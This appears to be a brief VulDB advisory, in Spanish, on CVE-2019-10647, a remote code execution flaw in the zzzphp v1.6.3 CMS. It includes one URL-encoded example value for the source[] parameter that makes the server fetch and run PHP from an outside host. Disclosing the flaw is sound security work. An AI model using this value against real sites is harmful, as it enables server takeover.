CVE-2019-10647 in zzzphp
Resumen
por VulDB • 2026-06-07
ZZZCMS zzzphp v1.6.3 permite que atacantes remotos ejecuten código PHP arbitrario mediante una URL con extensión .php en el parámetro source[] de plugins/ueditor/php/controller.php?action=catchimage, debido a la falta de restricciones en inc/zzz_file.php. Por ejemplo, se puede utilizar source%5B%5D=http%3A%2F%2F192.168.0.1%2Ftest.php si el servidor web 192.168.0.1 envía el contenido de un archivo .php (es decir, no interpreta dicho archivo como código PHP).
If you want to get best quality of vulnerability data, you may have to visit VulDB.